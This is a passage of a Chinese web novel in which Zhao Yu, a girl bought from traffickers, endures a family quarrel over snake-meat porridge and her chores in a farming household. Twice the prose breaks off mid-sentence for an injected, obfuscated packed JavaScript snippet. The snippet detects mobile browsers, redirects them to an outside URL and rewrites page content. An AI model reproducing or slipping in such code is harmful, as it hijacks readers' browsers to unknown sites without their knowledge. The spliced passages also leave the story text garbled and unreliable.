周婆子瞥了眼周老汉,又看了眼一旁的赵榆,没拒绝但也没应下。 瞧着周婆子还带着几分火气的背影,赵榆忧心周老汉的话管不管用。 很快,饭食煮好了。 赵榆坐在院子的木墩上,眼睁睁地看着周家人端菜盛饭,一个接一个地走进堂屋。 他们这是要进食了吧? 赵榆捂着肚子,想着那道蛇肉,也不知道是做成菜还是煮粥,若是能分到一块…… 赵榆咽了咽口水。 当然,她这口水是白咽。 肉多么珍贵,这道蛇肉粥周婆子根本就没想到分给她,念其今天做了不少活,一会儿粗粮饭倒是愿意多给她一些。 但这道蛇肉她不分给外人,却不意味着要便宜四郎夫妻俩。 肉粥上桌后,方春梅等不急的就开始动手,拿起勺子就往自己碗里盛粥,一勺不够,两勺、三勺,眼见着那碗就快满了,她还要继续再添一勺。 周婆子猛地将筷子拍在桌子上,“这盆粥你不如全塞到你肚子里!” 方春梅讪笑,却不将勺子放下,另一只手还将一旁周青的碗拿过来,似乎想将这个碗也装上。 她道:“娘,这一大盆肉粥呢,够吃的。” 周麦也心念念着这蛇肉,见四嫂专挑着蛇肉盛,十分气不过,“肉全进了你的碗里,你是够吃了,我们吃什么?吃你剩的骨头吗?” 方春梅回嘴,“二丫,你这话说的,肉哪里全进了我的碗里,那儿不是还剩很多吗!”她指着桌上的粥盆。 原本满满的一盆粥,白米和肉炖的烂,分布的很均匀,被取走好几勺后,颜色深的肉一时难寻,乍一看盆里尽剩雪白的米粥。 5. 第五章 周麦看着又急又气,大叫道:“哪还有肉?我不管,你不能拿走那么多!这粥是我娘煮的,必须由我娘分。” 说着,她站起来,探身就要去抢方春梅身前装满粥的碗。 方春梅大惊,速度极快地扔掉勺子,端着自己的碗就躲,吼道:“你干什么?!” 她凶厉地盯着周麦,要不是周老汉老两口还在这里,她恨不得几巴掌就扇过去。 方春梅:“我吃一碗蛇粥怎么了,就是吃两碗也不过分!这蛇可是我家男人弄到手的,爹娘吃了,那是我和周青的孝敬。至于其他人,那是得了我家周青的便宜。” 周麦哑口,面皮憋的通红,蛇……蛇确实是四哥带回来的,可,可一家人,蛇肉就该大家一起分,怎么能她一个人吃这么多? 周麦转眼看向周青,想要四哥帮她说话,她是他的小妹,四哥该帮她才是。 可她盯了四哥好一会儿,他都不看过来,只伸手扯着他媳妇,目光闪躲。 周麦皱眉,见指望不上他,又看向周婆子,期待娘将蛇肉要回来。 周婆子的确很生气,她老周家还没分家呢,方春梅就一口一个“我家”,怎么,周青是她男人,就不是她儿子了? 她一副“家已分”的口吻,吃口蛇肉都是占她便宜,她这是要将老二一家至于何种地步? 周婆子气的脸上肉直颤,“你是饿死鬼投胎,还是你方家养你二十几年不给你一块肉吃,让你到我周家来抢食吃?” 方春梅在方家留了二十一年,才在前年由媒婆搭线嫁到周家,比周青大了三岁,妻大夫小,当时还被外人稀奇好长时间。 在娘家留那么多年,对姑娘来说都是丢面子的事,此时周婆子提起,直让方春梅面上无光,她羞愤的嚷道:“我娘家养我二十来年,那是他们疼我,最后不还是你周家上我家提的亲!” 周婆子本意是说方家抠门,舍不得给人吃好的,哪想这方春梅扯到两家亲事上来。 说到亲事,周婆子以前还不觉得,现在一想竟感到有些后悔。 确实后悔,取儿媳妇回来,是为了让老周家多子多福,可结亲都快两年了,这方氏的肚子倒是比在娘家大了一圈,可长的都是肥肉,孩子的□□是一个不见。 不仅生不了孩子,她本人还好吃懒做。 取了这么个人回来,也是当初瞎了眼了。 果然,留在娘家二十来年都没人上门结亲的,又怎么会是个好货色。 想到这,周婆子狠声后悔道:“要是当时不结这亲就好了。” 儿媳妇被婆婆嫌弃,甚至后悔结亲,这事可不小,即便方春梅脸皮厚,听了这话也羞愤难当。 她端着饭碗,坐也不是,站也不是,只能伸手悄悄戳周青饿后背,让他替自己说话。 周青神情也说不上好,谁家婆娘被人嫌弃,当家男人能笑的出来? 哪怕是亲娘说的这话,周青也觉得丢脸。 周青:“娘,春梅都已经进了咱家的门,说这些话岂不是让她难堪?” 周婆子冷哼一声,“她怎么会难堪?不下蛋的母鸡叫得咯咯响,我瞧她嗓门也亮,吃口你家的蛇肉,都是我们占便宜。” “你二哥小妹,还有你二嫂和两个侄子,真真是心里头酸苦,吃顿饭竟然要被说是享弟弟的福。” 周婆子冷眼瞧着周青夫妻俩,“要不然你们两个做主将家分了算了,就当我和你爹不存在,到时候你大哥三哥回来,估计都要夸你们两个能耐。” 周青面色一变,不知想到什么,目光都跟着僵了僵。 方春梅也是白了脸色,原本豁出去的气势也跟着一熄,缩着脖子不敢再大嗓门叫嚷。 只不过还是舍不得手里的肉粥,“我们也不小气,蛇肉是我——”原本想说“我家周青”,最后还是改了口,“蛇肉是周青的功劳,我们夫妻俩一人一碗不过分,其余的粥爹娘看着分了吧。” 这番话说的既委屈又一副大方的模样。 因着这顿吵,这顿饭是给耽误了,周家的两个小的,大牛和二牛两人,扒着桌子缩着脑袋,盯着桌子中间的肉粥不敢说话。 大牛五岁,站在桌子旁,脑袋转个不停,一会儿看看肉,一会儿看看吵嘴的几人。 二牛两岁,什么都不懂,被周谷抱在怀里,饿的咬手指,嘴边也糊满口水。 周谷也不知道怎么吃顿饭就要吵架,明明今晚有肉吃,该高高兴兴的吃饭才对。 他瞧了瞧爹,见他无声地坐着,便也不敢多嘴。 自己不会说话,听着四弟妹好像对他也不满,若是他无意说了什么,让人更生气,那就不好了。 不过,四弟妹说蛇肉是四郎的功劳? 周谷挠了挠头,不知道他有没有听错她的意思。 周婆子不是好脾性,看着方氏装作大方的模样,她宁愿把粥全倒了,也不愿意吃她一口。 但想着老头子和二儿子,干了半天活,再吵下去,饿的是他们。 还有两个孙子…… 周婆子瞥了眼两个小的,可怜的很。 压了压气性,不打算再吵,也懒得再计较。 这顿蛇肉方氏想吃便吃吧,吃多少随她的意。 没了蛇肉,沾了肉味的粥也能补身体。 周婆子深吸了口气,正要坐下来给两个孙子盛粥,就听身旁的老头子开了口。 周老汉:“四郎,你说这蛇肉是怎么来的?” 周青正伸手接过方春梅给他盛的满满一碗肉粥,听到这句问话,动作一愣,脸上也露出尴尬的神情,一双眼闪了又闪,不敢回话。 周老汉双手放在膝盖上,从始至终都没碰身前的碗筷,见他不回话,又问了一遍,“蛇肉是怎么来的?” 周青有些羞燥,“爹,这肉怎么来的,不是明见着的吗?问这作甚?快吃吧,要不然等粥冷,味道可就没那么好了。” 周婆子听出了点别的,她看向一脸严肃的周老汉,转头又盯上接过碗,但显得有些心虚的四儿子。 周婆子虎着脸,问出心中的猜测,“这蛇不是你捉到的?” 周青往嘴里扒拉粥的动作一顿。 因只能吃一碗肉粥,还在可惜剩下的粥便宜了别人的方春梅都愣住了,回过神张嘴就道:“这蛇是我家周青带回来的,不是他捉的还能是谁?” 周谷终于听明白了,原来他 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周老汉沉默的拿起筷子,没朝那粥伸手,只夹起近前的咸菜,言语疲惫道:“粥给外头的赵小姑娘盛一碗吧,是人家的功劳,理应分一份。” 周婆子没应声,只站起身拿起自己的碗就要往里面盛粥,在余光瞥向方春梅碗里一块块的蛇肉时,直接伸手端过来。 方春梅还沉浸在蛇肉不是她男人杀的震惊中,一时手慢,没来得及阻止,眼睁睁的看着自己的碗被抢走。 方春梅:“.…..娘!” 周婆子现在脸上无光,见她还敢说话,扬着嗓门骂道:“好你个没脸没皮的方氏,一顿蛇肉竟是让你翻了天!” “你难不成还要死皮赖脸地说这蛇肉是你们二人的功劳?” “吃下这碗粥,你方氏也不怕烂心烂肺!” 方春梅脸色不好,但也不敢再说话,低垂着头,趁着周婆子不注意,不断地对周青使眼色。 那么一碗好粥,这次不吃进肚子里,下次可就没机会了。 周青既难堪又羞愤,不就是一碗粥吗,娘有必要如此? 周青:“我又没说这蛇是我杀的,是春梅误会了,怪我没说清。” “这只是件小事,娘你何必发这么大脾气?” “再说,即便这蛇肉不是自家人的功劳,那也轮不到一个外人分食。” “那叫赵榆的,是用我们周家的银钱买的,吃我们的住我们的,锄死的蛇自然也要归我们周家。” 四两银子买回来的物件,放在大户人家里,那就是奴仆的身份。 别说一条蛇了,就是让她现在就进山猎杀一头熊瞎子,她都得去。 周婆子看向小儿子,冷笑一声,“果然老话说得好,不是一家人不进一家门,你和你媳妇还真是给我老周家长脸。” 她将周青手里的碗也抢了过来,直接给了周老汉,“这粥啊,你也别吃了,这毒蛇的蛇肉也带毒,万一将你这不够红的心肝再染黑,我和你爹没法和周家祖宗交代。” 周婆子是上了年纪,却不是好糊弄的。 什么没说清,什么误会,真当她是老糊涂呢! 6. 第六章 碗被塞进手里,周老汉没拒绝,拿着筷子给两个孙子分了分,这才将剩下的一点吃进嘴里。 屋外院子里,天色已渐黑,赵榆坐在木墩上,听着外头已经吃完晚食再次出门嬉闹的小孩子的喊叫声,觉得肚子更饿了。 一刻钟前,她就听见那些孩子的爹娘喊他们回去吃饭,这才多会儿,他们就已经被填饱肚子了。 反观周家…… 估计快两刻钟了吧,这顿饭还没吃完呢。 听着屋里的吵吵闹闹,她怀疑直到天彻底黑下来,自己都不能吃上一口热饭。 还有那蛇羹,以她不受周家人待见的情况来看,估计进不到自己的嘴里。 赵榆猜的不错,此刻本该到她手里的肉粥,正被拦在屋里头出不来。 周麦捂着被拍红的手背挡在周婆子身前,气愤道:“干什么给外人吃这么好?!她才做几天活?这么好的肉粥你们怎么舍得分给她?!” 周婆子抬起手似乎还要打过去,“她一天做的活比你十天的都要多,张口闭口都是吃,你亏不亏心。” 周麦气红了眼,哽咽道:“我不管,你不准给她这碗粥,这么多肉我也要吃。” 周婆子耐心已经不足,推开她就要往外走,刚迈出一步,便顿了顿,低头看了眼手里的粥,又返回桌前。 周老汉正夹着咸菜,见她端着碗又回来,眉头不经皱了皱。 周婆子没说话,在周麦惊喜的目光下,她拿起筷子从端着的碗里夹起一块蛇肉,放进吞着白粥一脸满足的大牛的碗里。 再是捧着碗的二牛,然后又夹起第三块给了旁边的周老汉。 不等周老汉拒绝,她扔下筷子就大步出了堂屋。 说她抠门也好,坏心也罢,这蛇肉大补,他们周家难得能吃上一次蛇肉粥,她还是私心的要让家里人多吃一些。 哪怕这次能吃上这碗肉粥是占了外人的便宜。 周婆子只夹了三块,周麦没等到自己的蛇肉,直接气得哭出声。 赵榆捂着肚子弯着腰,盯着地上的蚂蚁来回爬,似乎这样能让饥饿感消散一些。 然而这时那屋里又发出痛哭声,瞬间又将她的饿感给招了回来。 赵榆已经叹不出来气了,毕竟叹气也要力气。 她现在仅仅希望,给她的饭食能在她晕倒前送来,不然到时候饭都到手边了,她无法张嘴吃,那不是倒霉能形容的。 眼前的蚂蚁出现重影,连耳朵都开始轰鸣。 要不然她怎么听见脚步声? 赵榆一怔,半闭的眼睛瞬时大睁,上半身猛地直立起来。 等到了! 在她昏过去之前! 赵榆视线落在周婆子的手上,克制不住的就要起身迎上去。 不想坐的久了,腿脚发麻,差点没站住。 赵榆忍着麻意站直身体,忙笑着唤了声“周婶”。 周婆子应了一声,估计也觉得有些对不住她,原本还绷着的脸也刻意放缓了些许,“饿了吧,这粥我炖的烂,吃了填填肚子。” 看了眼她瘦削的脸,想了想又道:“灶上还煮了些粗粮饭,不够的话,你一会儿再去盛上一些来吃。” 赵榆欣喜,接过粥,连声道谢。 周婆子原就有些羞愧,被她这一顿又惊又喜的道谢,闹的心中更加复杂。 摆了摆手道:“多亏你杀死了那条毒蛇,否则我那二儿子也不知道会落着什么后果。” 农家人有三怕,官、天灾、病。 而毒蛇就被归在了“病”上。 地里刨食的有句玩笑话:宁愿被最毒的蛇咬死,也不愿碰见毒性不烈的。 前者死了一了百了,后者要花数不清的银钱不说,必定会拖累家中老小,若是如此,宁愿用看病吃药的钱备上一副棺材,免得饥了家中上下的肚府。 但玩笑归玩笑,谁又愿意死? 就是那些想蛇肉吃的,也是谨慎的只抓无毒蛇。 有毒的,他们惹不起。 所以,当周婆子知道二儿子从那对毒牙下躲过一劫,心中也是直道幸运。 她不觉间又想起了几天前花出去的四两银子,似乎……不亏。 赵榆心里虽知道自己救了周家人一命,但却不敢在面上表现出来。 要真说有恩,周婆子将她从人贩子手里买回来,是恩;给她饭食,不至于饿死,也是恩。 还有一点,恩情这事不能挂嘴边提,提一次,就薄一层。 况且,赵榆从被周婆子买回来开始,在身份上就低了周家人一等,四两银子的买身钱,不是还了就能断的。 再者,现下她吃住都在周家,说的更明确些,她仅仅是个在周家人手里讨生活的“贱民”。 既要讨生活,就必须说好听的话。 赵榆扬着笑脸,说了一堆中听的话,既有:感激周婶收留我,给我米粮吃,让我不至于饿死,今后我必定好好干活来报答您。 又有:周婶无需如此客气,我能从人牙子手里脱身,全赖周婶相帮,能让周二哥免于受伤,是我应该做的。 深化周婆子对自己的恩情,再淡化她对周家的救命之恩,比不断提起,一心要让对方记住自己的功劳要更有成效。 这是获得对方好感的机会,好在,赵榆抓住了。 看着周婆子进了堂屋,赵榆这才重新坐下。 对着微暗的天光,她看清粥里盖着不少颜色深的肉。 虽然现在想起白天的那条黑蛇,她仍觉得头皮发麻,但也正是因为这条蛇,她往后在周家的日子估计能好过不少。 等周家人全都洗漱完进屋,赵榆这才拿着木盆去外头的缸里取了水。 灶房已经被锁,热水是不用想了,但好在这缸水经过一天的太阳照射,不是太凉,用着也还算舒服。 双手浸在水里,有些微刺痛,那荒地的草格外的锋利,一不小心就会被割一道口子。 看着手心手背上的红痕破口以及水泡,赵榆提不起一丝心疼的情绪。 就连胳膊上的鞭痕,她也只是平静地看一眼。 伤口而已,多了也就习惯了,只要能愈合就行,至于是否留疤,她已经没精力考虑。 “保养”两个字早就不存在于她的脑子里,现下她唯一能想起的就是希望掌心的几颗水泡能快些变成老茧,这样她以后握斧头拿锄头就不会觉得手疼。 搓洗干净手背,赵榆摸着虎口,这里有一颗淡痣。 这是让她奇怪的地方。 从小到大,她这处一直有颗痣,微小,没有芝麻粒大,颜色不深。 看着这颗痣,赵榆内心不解。 按理说,它不该出现才对。 她听人贩子向人推销她时,一个劲地提她年龄,说十五六岁的小姑娘买回去正正好,手脚麻利能干活,天冷还能暖被窝,领回去不亏…… 就连周婆子也是听了她的年龄,才决定将她买回来。 十五六岁,实在太年轻了。 所以,赵榆十分确定这不是她原有的身体。 可是…… 她上上下下扫视了一遍,这又的确像极了是她的,只是稍显年轻罢了。 抬手摸了摸脸,也摸不出任何结果。 到底长什么模样,她心里是一点数都没有。 二十来天的苦日子,不说照镜子,她连脸都没能洗几次。 而到了周家…… 赵榆转头看了一周,黑不隆冬的屋子,还是昨天临时收拾出来的。 之前放的是各种杂物,因为没有门,连猪都可以随时进出。 昨天她就从这里扫出了一坨猪屎。 现在依然没有门,只有一个膝盖高的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273266|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板拦在门口,防止猪再进来。 这种条件下,期望能找出一面镜子,显然是奢望。 月光暗淡,不远处重峦叠嶂的山脉隐隐绰绰的矗立在那儿,带着几分躁动的野性。 赵榆看了几眼,就不敢再将视线往外放。 实在是夜晚的大山不仅野,还带着几分邪,比白日里更能让人畏惧。 因为屋子缺少门的缘故,她甚至忧心周家的院门会不会不结实,以及那围着院子的黄土墙是否太过低矮,阻拦不住危险? 虽然依旧有些担忧,但这种情况已经比前头那些日子要好得多。 有能遮风避雨的屋子,还有缓解饥饿的粮食,这些都能促使她活下去。 躺在铺着草席的木板床上,赵榆疲累地半眯上眼。 虽然要干许多活,但不用被关,不用挨打,即便是累些也是能忍受的。 隔壁躺在床上的周婆子还没睡着,格外注意外头的动静。 即便那动静已经特意的放轻,她也能听出一些来。 那赵榆没碰灶房的锁,只在外头的水缸里打了水。 听到外头轻缓的倒水声,周婆子知道对方洗漱完了。 果然没一会儿,隔壁便没了动静,想来是已经入睡。 周婆子翻了个身,正要闭眼,就听周老汉开口,“你这又是何必?我瞧着那小姑娘不是那般的人。” 周婆子才不听他的,“你倒是有良心,等她真的逃了,你就在心里心疼那四两银子吧。” 周老汉摇着蒲葵叶制成的扇子,不同意她说的,“外头是什么样的世道?坏人比好人都多,她不会想跑出村子的。” 周婆子抢过他手里的扇子,给自己扇风,“那也要她知道才行,反正我是要看好她,不能让那四两白白浪费了。” 周老汉劝道:“她救了二郎,你也该对她和善些。” 如果不是屋里黑,周婆子真想白他一眼,几十年养成的性子,她能和善的起来吗? 想起那些不成器的儿女,她估摸着临到她死,她都无法和善。 这般想着,周婆子又不禁问起今天发生的事,“二郎和那赵榆开地,那四郎呢?” 不等周老汉回话,她就自顾自地说道:“他是不是又偷懒了?” 见周老汉沉默,周婆子又忍不住发脾气,“懒骨头一个,跟他婆娘一个样,我当初真是瞎了眼选了这么个儿媳妇,将他们两个凑成一对,是嫌家里太安生了吗?” 周老汉闭着眼,“这话以后就别说了,你既然当初急着四郎的亲事,选择了方家女儿,就不要再嫌她。” “现在他们是夫妻,你不满意四郎媳妇,四郎也难免生怨。” 周婆子猛地扇了几扇子风,试图将火气扇掉,“生怨?他要怨谁?以为成家了,自个就能当家作主了?他老子娘还在呢,就敢扑腾了是吧!” 越说越气,周婆子忍不住拿扇子拍打周老汉,“你这当爹的,竟管不好儿子,说出去也不怕别人笑话!” “他今天这般作为,以为我不知道他的小心思?什么没解释清楚让人误会了,”周婆子冷笑,“我看他就是故意的,不就是想用那蛇肉粥填他自己的五脏庙。” “只有让人误以为蛇是他抓到的,他才能大口地吃不用顾忌。” “打着这样的小聪明,就为了抢他二哥和侄儿的一口吃的,想想我都替他害臊。” 又怒其不争地道:“还有那老二,那个憨子,饭桌上竟成了个哑巴,就是为了他自己的两个孩子,也该和四郎夫妻俩抢那蛇肉。” 虽是这样说,但她也知道,得亏老二是个憨的,若是也和四郎或是二丫一个性子,那这个家就真不宁了。 周婆子手中的扇子缓了缓,想到另外两个在外头的儿子,忍不住道:“要是三子在就好了......”看谁还敢再给她气受。 7. 第七章 次日,赵榆艰难的睁开眼,缓了几息,这才坐立起来。 这一动,胳膊、腰以及腿顿时一片酸疼。 估计是昨天做多了活,耗了大体力的原因。 抬手正要给腰上捶两下,就听见堂屋门被打开的声音。 赵榆立马站起身,套上草鞋就快步出了屋。 不同于昨天早上高挂的大日头,今天这天飘着乌云,黑沉沉的,瞧着一会儿极大可能会下大雨。 赵榆看了眼便不再管,转身朝着水缸走去,她得趁着周家人全部起床前拾掇好自己。 可她左瞧瞧右看看,视线一转对上还上着锁的灶门,有些愣神。 一时之间,她竟不知道周家人早上一般是怎么洗漱的。 想着要不只洗把脸就好,但……她已经多久没刷牙了? 低头看向地上的细沙,伸手抓起一把,沉默一息,还是全倒进嘴里,用舌头将这些沙全顶到牙齿前,然后用食指压着这些沙开始摩...... 但是感觉并不好,沙粒中含着小石子,被手指带着在牙齿上划拉,难受的不行。 没几下,就被她全吐了出来。 赵榆一心想着快些洗漱完,全然没注意到站在堂屋门口的周婆子。 周婆子皱着眉看她在那转悠,正想出声,就见她低头抓了一把泥巴塞进嘴里。 周婆子:…… 不等她看明白,赵榆转头又去扒她的陶罐,那里面装的是她每日烧灶头存下的木炭,留着是要在冬天取暖用的。 周婆子怎么可能让她糟蹋炭,刚要阻止,赵榆已经拿出一块塞进嘴里。 周婆子:……她这是在做什么? 又是吃泥又是吃炭的。 “赵榆。”周婆子忍不住喊住她。 赵榆一惊,忙转头应声,见周婆子不知什么时候出现在那里,她讨好地牵唇唤了声“周婶。” 周婆子视线在她发黑的嘴上停了又停,没什么表情地问道:“你吃木炭作甚?” 赵榆立即解释,“我听说木炭可以用来洗牙,便拿了一小块……” 木炭能洗牙? 周婆子看着她发黑的嘴,显然不信,道:“木炭是换钱的东西,你莫要再糟蹋,洗牙得用杨柳枝,你自去村头河边去折。” 赵榆点头应是,等人走了,她才抓紧时间漱口洗脸。 没多会儿周家人都陆续从屋里出来,就连那两个最小的孩子也被周谷带着出来洗脸。 周婆子不喜家里人睡懒觉,谁要赖在床上,她即刻叉腰站在院子里大骂。 这次她骂的又是周青夫妻俩,“一堆柴堆在外头,缺心肝的玩意儿才会躺床上起不来!睁开那两张眼皮子吧,听听外头的猪都知道天亮了拱门吵着要出来,比猪还懒,也真是好意思!” 周婆子不带喘气继续骂,“瞧瞧外头哪家媳妇这么懒,天都亮了,还不暖灶头?是要饿死一家老小吗?” 听着这中气十足的骂声,赵榆都跟着小心翼翼的,将院子扫干净后,不敢停手,又立即拿上耙子进了猪圈,将厚厚的一层猪粪给耙出来。 等她清理完猪圈,烟囱已经冒了烟,灶房里方春梅敲敲打打的在忙活,估计心里憋着气不敢发,只能做些小动作表达不满。 周婆子听见动静,脚步一转就去了灶房门口,“你这么有劲儿,怎么不去替了老四?这些碗罐但凡出现一个豁口,你就去方家给我拿个新的。” 方春梅回嘴,“娘,你这碗豁了不少口子,可怨不得我。” 周婆子看了眼落在地上的竹瓢,显然是被方氏刚刚丢开的,“你再手重一下,我便全扣你头上,你带来的嫁妆虽不值钱,碗筷倒是能换来几个。” 方春梅又羞又恼,这婆母提她的嫁妆作什么,她就那几个物件,竟还想着卖了换碗! 虽生气的不行,却也只敢在心里边骂骂。 见她消停了,周婆子这才哼了一声离开,路过正在劈柴的周青身边时,开口让他管教好自己的婆娘,别嘴欠抽手也跟着欠打。 周青累的气喘吁吁,哪能顾及到她在说什么,看着还有这么多柴等着他劈,就忍不住埋怨二哥。 山里树木多得是,砍些细枝回来不更好? 作什么将这些粗柴带回来? 劈柴累死个人! 劈完一节,他停下斧头歇了歇,转头寻了寻,就见赵榆已经扫完了猪圈。 心中一喜,喊道:“别闲着没事干,过来将这柴劈了。” 赵榆正打算去喂鸡,听了这话,一愣。 周青不耐烦,“发什么愣,快点来劈柴。” 赵榆最终没拿上斧头,恰巧周婆子这时候将脏衣服拿了出来,让她去村头的河里把几个人的衣服洗了。 赵榆接过堆的高高的木盆,又见周婆子往盆里放了个长长扁豆状的东西。 周婆子:“这皂豆子省着点用,哪里脏了就抹哪里,将衣服多捶捶,捶出污水,再在河里清上一清,也就干净了。” 赵榆点头,村头不远,几天前才和周婆子走过,一口热茶的功夫也就走到了。 刚出了院门,身后传来脚步身。 周麦追上来,压着声音道:“喂!你等等!”声音刻意放低,像是防着谁听见似的。 赵榆停下,转头见是她,视线下滑,落在她手里抓着的衣服上…… 眨了眨眼,赵榆明白过来,不等对方再靠近,赵榆转头就快步离开。 听见后头气急败坏的骂声以及没停下的脚步声,赵榆连忙双手端盆也跟着跑起来。 手里拿着脏衣服,还不用盆装,傻子都知道是什么意思。 既然周婶只给了她这些衣服,那她就只洗这些,至于别人的,她可不洗。 到了河边,赵榆才停下,路上倒也碰上了好几个人,全被她跑了过去。 但路上的人好躲,河边的妇人就不好躲开了。 见后头有人端着盆小跑着过来,赵榆一刻也不磨蹭,急忙下去将仅剩的一个位子给占了。 木盆往旁边一放,拿出一件衣服浸湿,就开始捶。 这件是周婶的,瞧着不脏,用木头捶捶就好。 有年轻的农妇好奇她,看了她一眼又一眼,“你是周家婶子带回来的吧?” 赵榆冲她笑了笑,应了一声。 农妇见她拿着木锤,瞧着那手腕细的,也不像是很有力气的模样,继续问道:“你多少年岁了?怎么愿意跟着周婶来我们村?” 赵榆也不确定这具身体具体的年龄,便瞎说了一个一十六岁。 至于另一个问题也简单的说成是:被家里人卖了,周婶看她可怜给带了回来。 其余妇人见她好说话,也想打探消息,然问题刚问一半,就被身后的声音给打断了。 “哟,这真是赶巧了,大家都在这个时候拿衣裳来搓呢。” 众人转头见是郑婆子,也笑着打招呼,“得趁着没下雨,快些将脏衣裳捶了,不然继续堆放着,这裹了汗液的衣服得馊喽。” 郑婆子点头,笑道:“是这个理,这天一看就是一场大雨要来,要不然我也懒得跑来,将衣裳交给我那儿媳妇我还轻便些。” 她视线一转,看向捶着衣裳的赵榆,继续含笑道:“我刚还想问问这周家新来的小姑娘河边是否有空的洗衣位,哪想她见着我就跑,原来是奔着这最后一个位子呢。” 有精明的像是听出了些什么,笑呵地接道:“那郑婶你可晚了一步,只能再等等了。” 郑婆子无奈地点头,“也只有等了,早知道就不这个时候来。这小姑娘也是,若是回我一句,我也就回去了,不用饿着肚子在这等。” 夏天衣服薄,不难洗,赵榆没多会儿已经洗完了周婆子的。 木盆里还剩三个人的衣服,而她自己的已经在昨晚就搓洗了。 身后那人话里话外都在拿她说事,赵榆不是没听出来,但她不能反驳。 她才来这个村子没两天,什么都不了解,原住民什么的,还是能不得罪就不得罪。 她们几代都生活在这里,七大姑八大姨的,关系丰富着。 万一因为她一次回嘴,得罪了人,给周家带来麻烦,周婶为了省事在将她卖了…… 到时候吃亏的只会是她一个。 但她想闭口不言躲过去,别人却不乐意。 郑婆子盯着赵榆的背影,因为蹲下的动作,让衣服贴着身体,显得她脊背紧绷又瘦削。 又黑又瘦,乍一眼瞧着,可比她家孙女差远了。 还有那屁/股,一看就不是个好生养的。 周婆子就是个无利不起早的,以为不让周老汉他们往外头说,她就猜不到了? 还不是她老周家有晦,儿子眼瞅着年龄不小,这亲事始终没个着落,要是再耽误个几年,怕是寡妇都不进他们家的门。 这不,周婆子估摸着是着急了,这才掏钱买了个小丫头回来。 但她也不想想,她那两个儿子是个什么情况? 不仅本村人,就是那些邻近的村子,都不愿意让为周家说亲的媒人进门。 周家大儿子周田现下都二十有六了,找了好几家说亲,结果不仅被退,还被嫌弃。 想到以前那些场面,郑婆子都替周家可怜。 当然可怜的还有被周婆子带回来的小丫头。 她以为被带到周家是好事? 按周婆子的心思,这丫头会被塞给她家大儿子,到时候为他做牛做马,那周田后半辈子也就有了保障。 想到这里,郑婆子心中啧啧两声。 这周家的老婆子可真是好算计! 看着正在抹皂豆子的赵榆,郑婆子似乎都预见了她痛苦的后半辈子。 郑婆子:“小姑娘,你这洗的是周家两个孙子的衣裳?小儿玩闹,浑身都脏,你可有的累了。” 说完又补一句,“还以为永耕媳妇只让你洗他们两个老的,没成想小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273267|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也归你洗。”永耕指的是周老汉。 都直接点她了,赵榆不能不在回话,“孩子小,衣裳也小,不难洗。” 郑婆子听了点点头,感叹道:“你懂事,只是周家还有周麦这个小姑姑呢,两个侄儿的衣裳她不得帮着负责洗?她那二嫂…….”说着便叹了口气。 赵榆沉默地搓这衣裳,没对这状似挑拨离间的话做出反应 有和郑婆子关系好的,接话道:“周家二丫是该帮着她二哥照顾两个侄儿,谁让她二嫂是那个情况。” “但周家现在可是多了张嘴,不多做活的话,周家未必舍得粮食给她。” 郑婆子面露同情,“也是,现下还没秋收,各家的存粮也到底了,谁不为省下几粒米发愁。” “有耕媳妇要是将买人的四两银子用来买粮,想来,我们这些家里嘴多的,都得去跟她借了。” 这话一出,众人扭衣裳的动作都停了停,不可置信地呼道:“四两银子?” 见郑婆子点头,她们心中忍不住感叹周家真是大手笔。 四两银钱,这得存多久?! 众人看赵榆的眼神变了又变,这瘦弱的小丫头,竟这般值钱? 赵榆闷头捶打衣服,对周围的目光仿若未觉。 如果她能知道她们在想什么,一定会忍不住解释,她不贵,在人贩子手里已经是最便宜的了。 众人震惊周家舍得花钱,有人忍不住低声开口,“周家有这钱怎么不想着还给叶家呢?” 洗衣石就在这一块,远也远不到哪去。 众人也都听到了这句问,但没谁回答。 这人皱眉疑惑,抬头看向郑婆子,却不想对方也只是笑笑没出声。 至于赵榆,在最边上,手里的木槌还在挥个不停,是一点也没听清那人说的什么。 她盆里已经只剩几件衣服,要不了多长时间就能洗完。 但…… 赵榆抬眼看向其他人的盆里,她们剩下的脏衣裳还有不少。 是她们要洗的衣服多,还是洗的太慢?怎么她后来的都比她们快? 虽然她想着快些洗完回去,但一想到她走了,河岸上的那位婶子就能用这个位子,莫名就有些不愿意。 听到身后传来脚步声,赵榆用余光看了一眼,是那婶子走了过来。 郑婆子也发现了赵榆衣裳洗得快,她将木盆放在赵榆的脚边,笑着催促道:“小姑娘快些洗,我就等你这个位子了。” 赵榆捶衣裳的右手顿了顿,这盆放这里,不碍事吗? 原本就不大的洗衣石显得更窄小。 赵榆动作稍大一些,手肘都能碰到那装着脏衣服的盆。 莫说这大热天的,衣服都不太好闻,放了一晚上的脏衣服就更臭了。 赵榆默了默,放下木槌,客气地将碍事的木盆端远一些,嘴里不忘应道:“婶子,你在等上一会儿,我用不了多久就能洗完了。” 原本因木盆被端离,郑婆子脸上的笑都收了一些,却因为这话,她便没在计较。 哪想,她这一等,可不是一会儿。 正跟人闲聊着,就发现有人已经先一步洗完了,不等她暗骂赵榆手脚慢耽误了自己,就见那刚空出来的位子被此时赶过来的人给占了。 这人还笑着感慨,自己来的正是时候。 